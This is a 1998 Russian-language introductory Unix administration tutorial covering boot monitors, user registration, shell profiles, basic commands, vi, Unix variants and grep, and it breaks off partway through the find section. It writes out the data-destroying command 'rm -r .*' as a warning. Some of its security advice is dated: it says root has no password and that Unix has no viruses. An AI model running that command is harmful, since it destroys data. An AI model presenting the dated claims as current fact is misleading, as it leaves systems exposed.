&dD;Введение в системное администрирование Unix&d;@

                                (Версия 1.17. июнь 1998)



(C) Copyright Максим Евгеньевич Мошков, 1993-1998

================   КООРДИНАТЫ   ===============================

Максим Евгеньевич Мошков
        НИИ Системных Исследований РАН,
        Инф.сектор Отделения Математики Президиума РАН
            956-2155, 274-6329, 938-1902
            moshkow@ipsun.ras.ru
            http://www.ras.ru/~moshkow/
.

        &dD;ВВЕДЕНИЕ В СИСТЕМНОЕ АДМИНИСТРИРОВАНИЕ UNIX&d;@

        &dD;ОГЛАВЛЕНИЕ&d;@

 Оглавление                                             ()     

 Включение Unix-компьютера                              ()     
 Регистрация нового пользователя                        ()     
 Начало работы в системе                                ()     
 Несколько простейших команд Unix                       ()     

 Редактор VI для начинающих                             ()     
 Какие бывают Unix                                      ()     
 Команда find, grep                                     ()     
 Команда cpio, tar и архивирование                      ()     

 Загрузка операционой системы, процесс init             ()     
 Базовые принципы системы Unix                          ()     
 Специальные файлы                                      ()     

 Диски, файловые системы                                ()     
 Выделение разделов под Swaping                         ()     
 Инсталляция системы                                    ()     
 Пакеты: установка дополнительного софта                ()     
 Несколько сетевых команд Unix (telnet, ftp, mailx...)  ()     

 Hardware локальных сетей: Ethernet, Token ring, FDDI   ()     
 Hardware глобальных сетей                              ()     
 Маршрутизация TCP/IP      (картинка)                   ()     
 Сеть TCP/IP                                            ()     
 TCP/IP для бедных                                      ()     
 Сетевая файловая система NFS                           ()     
 NFS: конфигурирование авто-монтировщика                ()     
 Конфигурирование DNS                                   ()     
 Система телефонной пересылки файлов UUCP               ()     

 Система печати LP                                      ()     

 Графический интерфейс Unix - X Windows                 ()     

        &dD;Приложения&d;@

 Редактор VI                                            ()     
 Как подключить русские фонты к X Windows               ()     
 Что где лежит в SVR4                                   ()     
 Конфигурирование DNS. Пример standalone конфигурации   ()     
 Книжки про Unix                                        ()     
 Несколько управляющих команд модема                    ()     
 Конфигурирование сервера HTTPD, формат HTML            ()     
 Ремонт разрушенных файловых систем                     ()     
 Истории администратора Unix, или ГРАБЛИ                ()     
.
        &dD;Включение Unix-компьютера&d;@

     Включите системный дисплей или (при отсутствии такового)
консольный  терминал,  включите  питание  на  системном  блоке.
Загрузка  операционной системы начнется автоматически. Осталось
немного  подождать,  пока  загрузится  операционная  система  и
отработают  все положенные утилиты инициализации системы, и вот
на консоли появляется приглашение

Console login:

     а на всех остальных терминалах - просто:

Login:

     Введите  свой  входной  login  и  пароль. Если таковых не
существует, войдите под login'ом root -  "суперпользователь"  -
изначально он не имеет пароля.

Console login: root

        &dDSUN;: Перехват загрузки в ручной режим&d;@

      Процесс нормальной работы Sun SPARCstation в любой момент
времени можно перехватить и передать управление на  boot-prom.
Для этого на системной клавиатуре нажмите STOP+A. (STOP - левая
верхняя клавиша на левой дополнительной клавиатуре).   Появится
boot-prom prompt Ok:

 Ok _

     Теперь  можно  вводить команды для boot-монитора. Пожалуй,
наиболее популярными командами являются:

  go         - выйти из монитора, вернуться в нормальный режим
  help
  boot [параметры] - загрузиться
  eject      - вытолкнуть "застрявший" флоппи-диск или CD-ROM
  probe-scsi - опросить опознанные SCSI-устройства
               (после  этой  команды  возвращаться  к нормальной
               работе командой "GO" НЕЛЬЗЯ. Перезагрузитесь.)


     Если у вас "безголовый" Sun - сервер, то к нему в качестве
консоля подключается  алфавитно-цифровой  терминал.  Подключать
можно к любому последовательному порту - A или B. Sun,  заметив
отсутствие  системной  клавиатуры, опрашивает  все   порты   по
очереди  и,  обнаружив  на  одном  из  них терминал, делает его
консольным (со всеми вытекающими из этого последствиями).

     Чтобы  вызвать boot-монитор с алфавитного консоля, нажмите
на нем клавишу BREAK ( На терминале vt220 BREAK -  это  клавиша
F5).

        Выключать  алфавитно-цифровой  консоль  на  Sun-сервере
нельзя  -  при  этом  терминал  генерит  сигнал  BREAK,  и  Sun
переходит   в   останов  в  boot-мониторе.  Как  отключить  эту
интересную  особенность   безголовых   Sun-серверов,   мне   не
известно.
     На самом деле у этой проблемы существует аж три решения:
Одно из них - новый TTY-дравер "CONSULT-ZSBRK", который игнорирует BREAK.

        &dDHP; 9000: Перехват загрузки в ручной режим&d;@

     Процесс  нормальной  загрузки HP 9000 можно перехватить и
передать управление на boot-prom PDC (Processor Depended  code).
Для этого посмотрите на консоль в первые секунды загрузки - там
пишется клавиша, которую нужно нажать для перехвата. На рабочих
станциях  это  ESCAPE, на серверах - Ctrl-K (или Break, или еще
какая-нибудь)
      Появится PDC-prompt

BOOT-ADMIN>

     Теперь  можно  вводить команды для boot-монитора. Пожалуй,
наиболее популярными командами являются:

  help
  search           - найти загрузочные SCSI-устройства
  boot [параметры] - загрузиться
  secure on        - запрет перехвата начальной загрузки
                   (чтобы потом сделать secure off, придется
                   вынуть из компьютера диск и перезагрузиться)

     Если  у  вас  "безголовый"  сервер,  то  к нему в качестве
консоля подключается  алфавитно-цифровой  терминал.  Подключают
его к консольному порту.
.
        &dD;Регистрация нового пользователя&d;@

     Если  вам в руки попалась свежеустановленная машина, то на
ней  еще   не   зарегистрировано   никаких   пользователей   за
исключением     суперпользователя     "root"    -    системного
администратора. Пароля у него нет. Входите в него.
   В суперпользователя  можно превратиться. Для этого выполните
команду

    su     # Super User

   Каждый пользователь в  системе  Unix  предварительно  должен
быть  зарегистрирован.  Пользователю  полагается  иметь:  имя,
пароль,  номер  пользователя,  номер  группы,  к   которой   он
принадлежит,   домашний  каталог,  командный  интерпретатор.  У
пароля могут быть дополнительные  параметры  -  как  часто  его
можно менять, время действия и прочие секретные штучки.

Comment         Familiq Imya Otchestwo
logname         входное имя пользователя
passwd          пароль (пароль вводят дважды)
UID             User Identification Descriptor
GID             Group Identification Descriptor
$HOME           Домашний каталог
shell           Командный интерпретатор

        &dD;Бывают такие командные интерпретаторы&d;@:

  /usr/local/bin/bash   Самый удобный
  /bin/ksh              Чуть похуже, но тоже ничего
  /usr/local/bin/tcsh   Удобный, но "неправильный" и медленный
  /bin/sh               Самый "правильный" и самый неудобный
  /bin/csh              "Неправильный" и чуть более удобный

/etc/passwd - Вся информация о пользователе хранится здесь.
/etc/shadow - Здесь хранятся закодированные пароли.
     Закодированные  пароли  могут  лежать  и  в других местах.
Зависит от вида Unix.

     В  любом  уважающем  себя  Unix имеется "головная" утилита
оператора (условно называемая sysadm) - диалоговая программа, с
менюшками   и   окошками   для  выполнения  насущных  задач  по
системному   администрированию.   В   том    числе    позволяет
регистрировать  новых  пользователей. Запускать ее может только
"суперпользователь" root. При запуске "sysadm"  может  спросить
тип  терминала,  на  котором  ему предстоит работать. Ответьте:
vt100

     Примечание.  В различных операционных системах эта утилита
может называться по-разному:

        admintool       Solaris 2
        adminsuite      Solaris 2.7
        sysadmsh        SCO UNIX 4
        scoadmin        SCO OpenServer 5
        smit, msmit     AIX
        sam             HP-UX
        control-panel   Linux RedHat
        sysadm          UnixWare, ISC, SVR4

        &dD;Команда регистрации нового пользователя&d;@.

adduser                 Linux
useradd                 SunOS 4.1
vipw                    BSD/OS, FreeBSD

        &dD;Как зарегистрировать нового пользователя "вручную"&d;@.

1. Вставляем в /etc/passwd еще одну строчку:

moshkow:x:555:1:Maksim E. Moshkow:/home/moshkow:/bin/ksh

2. Приводим в соответствие файл /etc/shadow

 pwconv

3. Создаем пользовательский каталог

 mkdir /home/moshkow
 chown moshkow /home/moshkow

4. Задаем пароль новому пользователю

 passwd moshkow

5. Вот и все.
.
        &dD;Начало работы в системе&d;@

        &dD;Вход в себя&d;@
     На экране терминала появится строка

        login:

     Введите  имя,  под  которым вы зарегистрированы в системе,
если нужно, пароль. Если Вы ошиблись при вводе  имени,  нажмите
CTRL+U, или  DEL, или  CTRL-D  (для  отмены), или несколько раз
нажмите на Return, потерпите немного и повторите ввод.
     На  экране появится приглашение командного интерпретатора.

        sunsite:~/$ _

     Чтобы  выйти  из системы, наберите команду exit или просто
нажмите Ctrl-D на пустой строчке.

        &dD;Переменные окружения&d;@.
     При   входе   в  систему  для  пользователя  автоматически
устанавливается   несколько   переменных    окружения.    Чтобы
посмотреть их значение, выполните команду env.

    env   # Распечатать проэкспортированные переменные окружения

LOGNAME=moshkow                  # имя пользователя
HOME=/home/moshkow               # его домашний каталог
SHELL=/bin/ksh                   # его командный интерпретатор
MAIL=/usr/mail/moshkow           # файл, в который складывается
                                 # приходящая ему почта
PS1=host1:$PWD/$                 # формат приглашения
PATH=:/usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/informix/bin:
           # список поиска, по которому ищутся выполнимые файлы
TERM=vt100                       # устанавливает тип терминала, на
                                 # котором работает пользователь

     Чтобы  задать  значение  переменной  окружения,  выполните
команду:

   Imya_Pereemennoj=znachenie   export Imya_Pereemennoj

например

   abc=Kalosha  export abc

просмотреть значение  переменной  можно  командой  echo в такой
форме:

   echo $abc

        &dD;Пользовательский профайл&d;@

     Перед  входом  в  систему сперва выполняется общесистемный
профайл /etc/profile

     Затем  выполняется  пользовательский файл ".profile" (если
он есть) - в них можно  устанавливать  переменные  окружения  и
делать  установки  режимов терминала. Просмотреть установленные
переменные окружения можно командой env

##### Пример файла   .profile ##################################

       # Добавить к списку поиска каталоги с нужными программами
PATH=:$HOME/bin:$PATH:/usr/sbin:/usr/local/bin:/usr/informix/bin
       #    Разрешить редактирование командной строки в ksh
EDITOR=emacs
export PATH EDITOR
LC_CTYPE=iso_8859_1 export LC_CTYPE # русские буквы - "буквы"

        #       Характеристики терминала
        # Забой=BackSpace          СтеретьСтроку=Ctrl-U
        # ПрерватьПрограмму=Ctrl-C "Жестокое_прерывание"=Ctrl-|
stty erase "^h" echoe      kill "^u" quit "^|" intr "^c"
stty cs8 -parenb -istrip
        # 8-битные символы, noparity, не  усекать  8-й  бит
        # при вводе

case "$0" in    # В зависимости от командного интерпретатора
*ksh)                   #       В Korn Shellе
                        #       Редактироваться стрелочками
        alias __A=`echo "\020"`         # ^P = восьмеричный 020
        alias __B=`echo "\016"`         # ^N
        alias __C=`echo "\006"`         # ^F
        alias __D=`echo "\002"`         # ^B
        # В приглашение ставить текущий pwd
        PS1=$LOGNAME@`uname -n`:'$PWD/$ '            export PS1
        ;;
*bash)          # В bash'е в приглашение ставить host:pwd
        PS1='\h:\w/\$ '                              export PS1
        ulimit -Sc 0 # чтоб программы core не роняла
        ;;
*sh)    # для posix-shell и HP-UX
        PATH=$PATH:/usr/sbin
        PS1=$LOGNAME@`uname -n`:'$PWD/$ '
        HISTFILE=$HOME/.sh_history
        ENV=$HOME/.kshrc
        export PATH ENV HISTFILE PS1
# и не забыть в файл .kshrc вписать      set -o emacs
        ;;
esac
#   обратите внимание:   в некоторых местах ПРОСТАЯ кавычка _'_
#   а в других - ОБРАТНАЯ  _`_ - будьте внимательны, это важно.

        &dD;Клавиши для редактирования командной строки&d;@
     Если  вы  работаете  в командном интерпретаторе Korn-Shell
/bin/ksh, и у вас установлена переменная EDITOR=emacs,   то  вы
сможете  редактировать  командную  строку  с  помощью стрелок и
Ctrl-клавиш:

^P / ^N   PREVIOUS / NEXT         команда
^F / ^B   FORWARD / BACK          на позицию
^A / ^E   в НАЧАЛО / КОНЕЦ        строки
^D / ^K   Удалить СИМВОЛ / Удалить КОНЕЦ СТРОКИ
^Y        Вспомнить удаленное
^R        Поиск предыдущей команды

ESC ESC   Добить имя файла
ESC =     Распечатать похожие имена файлов
     а если командный интерпретатор bash, то обе эти команды
     сидят на клавише TAB


        &dD;Выключение системы&d;@

     Чтобы  начать  процесс выключения системы, следует, будучи
пользователем root и находясь в  корневом  каталоге,  выполнить
команду

    cd /
    shutdown -y -g0 -i0

     Дождитесь  полного  окончания  разгрузки  системы и только
тогда выключайте питание.

     Для перезагрузки системы выполните команду

    shutdown -y -g0 -i6

     Перезагрузить или разгрузить систему можно также и из меню
системного администратора команды sysadm.

     В  некоторых реализациях Unix (в частности, в BSD, SunOS,
Linux,  HP-UX)  команда  shutdown  использует  другие   ключи.
Попробуйте в этом случае:

   shutdown -y -h now   # для остановки
   shutdown -y -r 60    # для перезагрузки через 60 секунд
.
        &dD;Несколько простейших команд Unix (курс молодого бойца)&d;@

1.1. Система  Unix различает БОЛЬШИЕ и  малые буквы, и  к этому
можно привыкнуть.

1.2. Если вы уничтожили какой-нибудь файл, то никаких проблем с
его восстановлением у вас не  будет.  Потому  что  восстановить
уничтоженный файл в системе Unix НЕВОЗМОЖНО. В Unix отсутствует
команда unerase, и к этому  тоже  нужно  привыкнуть.  Вирусы  и
антивирусы  в  Unix  тоже  отсутствуют. Так что  пока хоть этой
проблемы у администратора машины не будет.

1.3.  В  имени файла директории отделяются от последующей части
символом "/". (Билл Гейтс тоже хотел, чтоб у него в  MSDOS  все
как  в  Unix было, вот и взял символ "\" - перепутал - с кем не
бывает.)
       Если  имя  начинается  со  слэша  -  значит,  это полное
маршрутное имя.
     Простое  имя файла может состоять из ЛЮБЫХ символов. Длина
простого имени не более 256 символов. Длина полного маршрутного
имени  файла  не  более 1024 символов.

1.4.   Для   задания  шаблона  имен  используются  символы  "*"
(произвольная  последовательность   символов)   и   "?"   (один
произвольный символ). Имя из одной точки "." обозначает текущую
директорию, имя из двух точек ".." - вышележащую  (родительский
каталог).

1.5.   Чтобы  запустить  программу  на  выполнение,  достаточно
набрать ее  имя  и,  если  нужно,  другие  аргументы  командной
строки. Имя программы - это маршрутное имя файла, в котором эта
программа   находится.   Аргументы   разделяются   одним    или
несколькими  пробелами и табуляторами. Ключи команды обычно (но
не всегда) выделяются знаком  "-".

     команда -ключи -ключи ...  прочие разные аргументы ...

1.6.  Если  командная  строка  кончается  знаком  &, то команда
запустится параллельно (фоном). На терминале печатается  номер,
который   получает   запущенный   процесс.   После  чего  можно
продолжать работу, не дожидаясь завершения фоновой задачи.

     команда -всякие разные аргументы ... &

1.7.    Команда    имеет   три   предопределенных   направления
ввода-вывода  -   стандартный   ввод,   стандартный   вывод   и
стандартный  протокол.  Как  правило,  команда  берет  исходные
данные  из  стандартного  ввода   и   печатает   результаты   в
стандартный  вывод. В стандартный протокол печатаются сообщения
об ошибках и диагностика. Первоначально стандартные ввод, вывод
и   протокол   назначены   на   терминал,   однако   их   можно
переназначить, используя следующие конструкции:

       команда  > имя_файла
(для стандартного вывода),

       команда  < имя_файла
(для переназначения стандартного ввода),

       команда  2> имя_файла
(для стандартного протокола - системной диагностики).

     Пример - записать в файл содержимое текущей  директории:

        ls > infdir

       Если  вывод назначен в файл, то перед началом выполнения
команды создается пустой файл с  соответствующим  именем  (если
файл   уже  существовал,  он  опустошается),  а  затем  в  него
помещается информация. Если информацию нужно дописать  в  конец
существующего файла, следует воспользоваться конструкцией

        команда  >> имя файла
        команда 2>> имя файла

1.8. Пользователи системы Unix объединяются в  группы, и каждая
из групп обладает определенным набором прав доступа к файлам.

1.9.   Программы   могут   распознавать   значения   переменных
окружения, значения которых были заданы перед их запуском.

TERM=vt220
HOME=/home/moshkow
PATH=:/bin/:dss/rk:/home/moshkow/bin

1.8.  Выдачу  одной команды можно перенаправлять на вход другой
команды. Для этого используется "|" - конвейер.

     Пример:  посчитать  суммарный  размер  и  число строк всех
файлов в каталоге /tmp, имена  которых  начинаются  с  символов
"text" ...

    cat /tmp/text* | wc -c

# Команда cat сливает вместе все файлы вида /tmp/text*,
# wc -c -l считает количество символов и число строк во входном
# потоке.

    Или просмотреть с листанием длинную выдачу команды:

   ps -ef  |  more

Того же результата можно достичь и без конвейера таким образом:

  ps -ef > temp-file
  more temp-file
  rm temp-file

        &dD2.; Некоторые наиболее употребительные команды&d;@.

pwd   - получить имя текущей директории
cd    - изменить текущую директорию
ls    - распечатать информацию о файлах или директориях
cat   - слить или вывести файлы-аргументы на стандартный вывод
cp    - копировать файлы
mv    - переместить (переименовать) файлы
ln    - создать ссылку на файл
rm    - удалить файлы
rmdir - удалить директорию
mkdir - создать директорию
echo  - вывести аргументы командной строки на стандартный вывод
ps    - распечатать информацию и номера выполняемых процессов
kill  - "убить" выполняемый процес по его номеру
man   - выдать справку об использовании и ключах команды

        &dD2.1; pwd    Выдать имя текущей директории&d;@.

  pwd

        &dD2.2; cd     Сменить текущую директорию&d;@.

  cd [ директория]

  cd /usr/spool/lp/adm

  cd ..

Если  директория  не  указана,  вы  попадаете в свой "домашний"
каталог $HOME

        &dD2.3; ls     Распечатать каталог&d;@.

Формат команды:  ls [ключи] [имена]

имена - имена файлов или директорий; для директорий
        распечатывается список входящих в нее файлов, для файлов -
        выводится его имя и дополнительная информация.
        Имена файлов сортируются по алфавиту.
        Без аргументов ls выдает содержимое текущей директории.

  ls -al  - вывод в длинном полном формате:

          число   владелец            время модификации
          линков        группа                        имя файла
          (имен)                  размер
-rwxr-xr-x   1 moshkow  sys         17 Oct 18 16:13 ../jean
drwxr-xr-x   1 moshkow  sys         12 Oct 18 16:11 ../jelly
-rwxr-xr-x   1 moshkow  sys          0 Oct 13 14:14 ../j.bu.txt
^^  ^  ^
||  |  |
||  |  +----- права всех "прочих" по отношению к файлу
||  +-------- права одной с ним группы
|+----------- права "владельца" файла
+------------ "-" - значит файл,  "d" - директория
        Права:
                r - файл доступен для чтения,
                w - файл доступен для записи,
                x - файл является выполнимым,
                - - данное право доступа отсутствует.

       -a - вывести все файлы (даже если имена начинаются с точки);
       -x - вывод в 4 колонки;
       -t - имена файлов сортируются не по алфавиту, а по
            времени  последнего изменения
       -R - рекурсивно пройти по всем подкаталогам

  ls -CF  - оглавление каталога в несколько столбиков
  ls -al  - оглавление в полном формате

        &dD2.4; cat    Слить и вывести файлы на стандартный вывод&d;@.

Формат команды:  cat файл1 [файл2... ]

Cat  выводит  содержимое  перечисленных  на  стандартный вывод.
Пример:

     cat файл

распечатывает содержимое файла, а

     cat файл1 файл2 > файл3

сливает  первые  два файла и помещает результат в третий. Чтобы
добавить содержимое файла1 к файлу2, надо выполнить команду

     cat файл1 >> файл2

        &dD2.5; more, pg Просмотреть файл постранично&d;@.

     more file_name ...
     pg   file_name ...
     less file_name ...

Все  эти  команды  позволяют  просматривать  файл,  листая  его
поэкранно.  Просмотром можно управлять с помощью клавиш.  Самое
удобное управление у команды "less", самое "дубовое" - у "pg"

q      - завершить просмотр
ПРОБЕЛ - показать следующую страницу
ENTER  - сдвинуться на одну строку
b      - показать предыдущую страницу
/      - поиск
h      - Help - посмотреть список всех возможных команд

more,less,pg  используют,  чтобы  посмотреть  "длинную"  выдачу
команды, ставя его конвейером "ей на хвост"

    ls -al | more   - просмотреть оглавление
    ps -e  | pg     - просмотреть список работающих процессов

        &dD2.6; cp     Копировать файлы&d;@.

Формат команды:  cp файл1            файл2
                  cp файл1 [файл2 ...] каталог

Эта  команда  копирует  файл1,  ...  ,  в ФАЙЛ. Если ФАЙЛ - это
директория, то файл1 и др. копируются в нее под своими именами.
Если  ФАЙЛ  не  существовал, то он создается, если существовал,
его старое содержимое теряется.

        &dD2.7; mv     Переместить (переименовать) файлы&d;@.

Формат команды:  mv файл1             файл2
                  mv файл1 [файл2 ...] каталог

Команда  аналогична  команде  cp, но исходный файл уничтожается.
Ее основная роль - переименование файлов и  перенос  файлов  из
одной директории в другую). Пример:

    mv /dss/*/rk_*.help /dss/delo


        &dD2.8; ln     Связать файлы&d;@.

Формат команды:  ln файл1 файл2
                            # создается "жесткий" линк
                  ln -s файл1 файл2
                            # создается "символический" линк

Эта  команда  создает файлу файл1 еще одно имя. В итоге файл1 и
файл2 на самом деле физически являются одним и тем  же  файлом.
Если   вы   создаете   так   называемый  "символический  линк"
(используя ключ  "-s"),  то  файл  file1  при  этом  не  обязан
существовать.  Имя "файл2" при этом все равно будет создано.

        &dD2.9; rm     Удалить файл или директорию&d;@.

Формат команды:  rm [-fri]  файл ...
        -i      - просить подтверждения на каждое удаление
        -r      - рекурсивно удалить вместе с подкаталогами
        -f      - не просить подтверждения, а сразу удалять

Для удаления пустой директории можно воспользоваться командой

     rmdir директория ...

Чтоб удалить непустую директорию, нужно выполнить команду

    rm -r директория

ВНИМАНИЕ: Ввиду того, что под шаблон ".*" подходит каталог ".."
НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ                # rm -r .*
(Хотя большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ -
в SCO рискуете напороться)

        &dD2.10; mkdir  Создать директорию&d;@.

Для создания директории применяется команда mkdir.

Формат команды:  mkdir  имя_директории ...

        &dD2.11; chmod  Изменение прав доступа к файлам&d;@.

Команда chmod меняет атрибуты (права доступа) файла.
Проставить файлам право на выполнение:

    chmod u+x file1

Разрешить остальным пользователям исправлять файл

    chmod a+w file1

        &dD2.12; echo   Эхо&d;@.

echo Команда выводит на стандартный вывод свои аргументы

    echo "\017"

Вывести  на  терминал  символ  Ctrl-O,  он же 017 восьмеричное.
Восстанавливает латиницу на терминалах типа vt220 и at386

        &dD2.13;        Создать файл&d;@.

Для создания файла можно воспользоваться следующими способами:

    touch primer   # создает пустой файл primer;
    cat > primer   # создает  файл  primer и пишет в него
                   # со стандартного ввода. Запись в файл закончится
                   # после нажатия CTRL+D.

        &dD2.14; ps     Какие программы выполняются&d;@.

Сообщает  номера  процессов, которые  выполняются в системе.

    ps          - запущенные только с этого терминала
    ps -ef      - все, в "полном" формате (в SYSV Unix)
    ps -ax      - все, в "полном" формате (в BSD* и Linux)

        &dD2.15; kill   Прервать процесс&d;@.

Команда  kill  посылает  указанному процессу сигнал немедленной
остановки.

Прервать процесс номер 1078 (номер можно узнать командой ps -e)

    kill -9 1078

Прервать  программу на вашем терминале, запущенную НЕ в фоновом
режиме, можно нажатием клавиши CTRL-C, или клавиши CTRL-\

        &dD2.16; man    Если вы забыли, как пользоваться командой&d;@.

Как  правило,  при  запуске  команды  без аргументов она выдает
формат своего вызова.  Но  для  большинства  команд  достаточно
полную информацию вы можете получить так:

    man    имя_интересующей_вас_команды
    man -k ключевое_слово    # список команд, относящихся к ...

        &dD2.17; who    Кто работает в системе&d;@.


    who           - этими командами можно узнать, кто вы такой
    who am i        и кто еще работает в системе
    finger
    last | more
    id
    man -k who   - сообщит все возможные команды, которыми можно
                   узнать, кто и что делает в системе.
.
        &dD;Очень кратко о редакторе "VI"&d;@

По  не  знаю  какой  уж  там  исторической  традиции  "честные"
(канонические) системы Unix не имеют в своем базовом  комплекте
ни   одного   нормального   (еще  раз  подчеркну  это  слово  -
НОРМАЛЬНОГО)   текстового    редактора.    Поэтому    системный
администратор  обязан  уметь  пользоваться тем, что ему дают. А
дают ему несравненный "Визуальный" экранный редактор  файлов  -
Редактор VI.

        &dD;Редактор VI имеет три режима:&d;@

1.  Командный  -  в  этом  режиме можно перемещаться по файлу и
выполнять редактирующие команды над текстом. Команды вызываются
ОБЫЧНЫМИ ЛАТИНСКИМИ БУКВАМИ.

2. Ввода текста - в этом режиме обычные латинские  буквы  будут
вставляться в текст.

3.  Режим  строчного  редактора  ED используется для управления
файлами (типа сохранить файл, зачитать файл и т.д.)

   Прочитайте предыдущий абзац еще раз. Вы еще  не  испугались?
Хорошо. Поехали. Итак:

       vi имя_файла

VI в КОМАНДНОМ РЕЖИМЕ.

ЧТОБЫ ВЫЙТИ ИЗ ФАЙЛА БЕЗ СОХРАНЕНИЯ, нажмите:
     ESC  :  q  ! Enter

чтобы выйти из файла, сохранив изменения, нажмите:
     ESC  :  w ! Enter
     ESC  :  q   Enter
выйти из файла с сохранением, одной командой:
     ESC  :  wq  Enter

        &dD;для перехода В РЕЖИМ ВВОДА нужно нажать команды типа:&d;@
   "i"   вставлять здесь
   "A"   вставлять с конца строки
   "cw"  заменять текущее слово

   ESC    для ВОЗВРАТА В КОМАНДНЫЙ РЕЖИМ
   CTRL-[ для возврата в командный режим

   для перехода В РЕЖИМ УПРАВЛЕНИЯ ФАЙЛАМИ нужно нажать
   ":"  (перейти в режим редактора ED)

        &dD;Двигаться по файлу можно командами:&d;@
     h,j,k,l    влево, вниз, вверх, вправо
     Ctrl-F     На страницу вниз
     Ctrl-B     На страницу вверх
А если вам очень повезет, то можно будет двигаться стрелочками.
Чтобы перейти в режим везения, нужно описать  для  операционной
системы   ваш   терминал.   Этим  займемся  в  дальнейшем  (см.
"Описание терминалов, terminfo, termcap").

Подгоните курсор к нужному месту и нажмите
     i          перевод в режим ввода
вводите требуемый текст
     ESC        прекратить ввод, перейти в командный режим

Подгоните курсор к ненужному месту и нажмите
     x          удалить символ
     dd         удалить строчку

        &dD;Еще парочка полезных команд:&d;@

     o          вставлять с новой строки (под текущей строкой)
     a          в режим ввода ЗА курсором
     5yy        запомнить 5 строчек
Подгоните курсор к нужному месту
     p          вставить запомненные строки под курсором
     P          вставить запомненные строки НАД курсором

     J          Склеить две строки
     /Шаблон поиска Enter       - поиск
     n          Повторить поиск

На этом ознакомление с редактором VI можно считать законченным.
Того, кто считает, что VI может предоставить больше  удобств  и
команд  по  редактированию,  я  отсылаю  к  прилагаемому  здесь
справочнику-памятке "наиболее употребительные команды VI",  ну,
и,  естественно (как всегда), к документации. Остальных я отсылаю
к не менее удивительному в своем роде редактору EMACS, которым,
не смотря на это, рекомендую пользоваться впредь.






.
        &dD;Какие Unix'ы бывают в природе?&d;@

        &dD;Генеалогическое древо&d;@

     Почти  сразу после рождения Unix раскололся на две ветви -
ветвь как бы "прародительская", которой  владеет  "официальный"
хозяин   торговой   марки  Unix  -  Unix  System  Laboratory  -
фактически  ветвь  коммерческая.  И  проект  Исследовательского
института  Беркли  -  ветвь  в  основном свободных - бесплатных
Unix'ов.

              System III
              System 6

      USL <-- Раскол --> Berkeley

System 7                BSD 4.0

Unix V 3.1
Unix V 3.2    <-------  BSD 4.2
                    /   BSD 4.3
System V Release 4 / Заимствования
                  /     BSD 4.4         Конец проекта Беркли
SVR4.0          < <     ____________________________________
SVR4.1
SVR4.2

     Не  так  давно  USL  таки  окончательно  "засудила" BSD за
использование фрагментов кода с копирайтом AT&T;, что в  немалой
степени  способствовало  закрытию проекта BSD. Предпоследний из
крупнейших  поставщиков  коммерческих  BSD-подобных  систем   -
Sun/SunOs  перешли  на  линию  SVR4.  Торжественно и официально
объявлено,  что   SVR4   является   единственным   наследником,
объединившим  лучшие  решения,  пришедшие  из  Unix  V  и  BSD.
Последним из могикан остается DEC: его OSF/1 для  Alpha  AXP  -
немного  искалеченный, но все же достаточно близкий к корням BSD
4.3.

        &dDUnix;'ы для IBM/PC&d;@

        &dD;Некоммерческие или условно бесплатные&d;@

BSD/OS 2.0 BSDi/386 Недорогой коммерческий. Хорошо поддерживается.
                Поддерживает бинарную совместимость с SCO Unix
386bsd          BSD 4.3 для Интелевской платформы
NetBSD          производная от 386bsd
FreeBSD 2.1     Самая качественная сеть. Дабы не связываться с
                USL, в нем полностью заново переписаны куски ядра,
                на которых стоял копирайт AT&T.;
Linux 2.0.30    Самый популярный среди бесплатных Unix'ов. Число
                инсталляций оценочно между 100 тыс. и 1 млн.
                Непрерывное совершенствование силами сотен
                добровольцев довело его до  уровня довольно надежной,
                быстрой, качественной и удобной системы,
                пригодной для работы как в качестве графической
                рабочей станции, так и интернет-сервера.
                Поддерживает больше всех приложений и hardware.
                Поддерживает спецификации  iBCS, и потому может
                выполнять коммерческие приложения для SCO, в
                частности, Oracle и Informix.
                В Linux реализованы клиент и сервер Netware и Samba.
                Эмулятором MS Windows WABI пользоваться очень даже можно.

        &dD;Коммерческие Unix'ы&d;@

UnixWare 2.1 SVR4.2 от SCO. Совместима с Windows и Netware. До
                            сих пор не доведена до ума сеть.
                            Поддерживает мультипроцессорные PC.
                            После  того как ее у Novell перекупило
                            SCO, будущее этой системы перестало для
                            меня казаться столь уж заманчивым.

Solaris 2.5  SVR4.0  от SunSoft. Совсем как на Sun'е. В принципе,
                это должно говорить само за себя. Начиная с
                5-й версии в Solaris наконец пришел Motif.
SCO Unix 4.0    SVR3.2 Пока лидер по количеству установок среди
                всех Unix'ов для PC. Старая  надежная  отлаженная
                система.  Поддерживает достаточно много hardware.
                Поддерживает мультипроцессорные PC.
                Непомерно дорог. Морально устарел.
                Имеет проблемы с русификацией. Медленный.
ISC Unix 3.2    Надежен и компактен в работе. Морально устарел.

        &dDUnix;'ы, поставляемые производителями компьютеров&d;@

   Машина       Операционная система      "Оригинал"
Sun 1,2,10,...       SunOS 4.1.2             BSD 4.3
Sun 10,20,1000       SunOS 5.5               SVR4.0
IBM RS/6000          AIX                     SV 3.2
HP 9000              HP-UX 10             BSD 4.2 & SV 3.2
Sequent              Dynix                   SV 4.0
Motorola 922         SVR4/88                 SVR4.0
Беста-88             Bestix                  SV 3.1
DEC                  Ultrix                  BSD 4.2
DEC Alpha AXP        OSF/1                   BSD 4.3
SGCS Silicon Graphic IRIX 6.0

     Выбирая  платформу,  мы  автоматически  получаем с ней "ее
собственный" Unix.
     С  точки  зрения  удобства  и цельности администраторского
управления самые приятные из них - HP-UX 10.20 и AIX.
     А самый распространенный - Solaris 2.5 (естественно).
.
        &dD;Команды поиска GREP и FIND&d;@.

        Команда grep/egrep

"фильтрует" строки - оставляя только "подходящие" под шаблон

    egrep шаблон  [ file ... ]

В  шаблон  могут  входить  обыкновенные символы (представляющие
сами себя),  а  также  -  спецсимволы,  выполняющие  служебные
функции шаблона: . * ^ $ [ ]

    .        - любой произвольный символ
    *        - "множитель" (предыдущий символ любое число раз)
    .*       - любая последовательность символов
    ^шаблон  - привязываем шаблон к началу строки
    шаблон$  - привязываем шаблон к концу строки
   [символы] - любой один символ из тех, что стоят в скобках


Вывести всех привелигированных пользователей:

    egrep ':0:0:' /etc/passwd

Вывести всех непривелигированных пользователей:

    egrep -v ':0:0:' /etc/passwd

Вывести  всех  пользователей,  имена  которых начинаются с букв
a,b,e,d

    cat /etc/passwd | grep "^[abed].*"

        Команда find.

find рекурсивно  обходит  указанные каталоги и файлы, проверяет
для них выполнение  указанных  условий  и может вдобавок выпол-
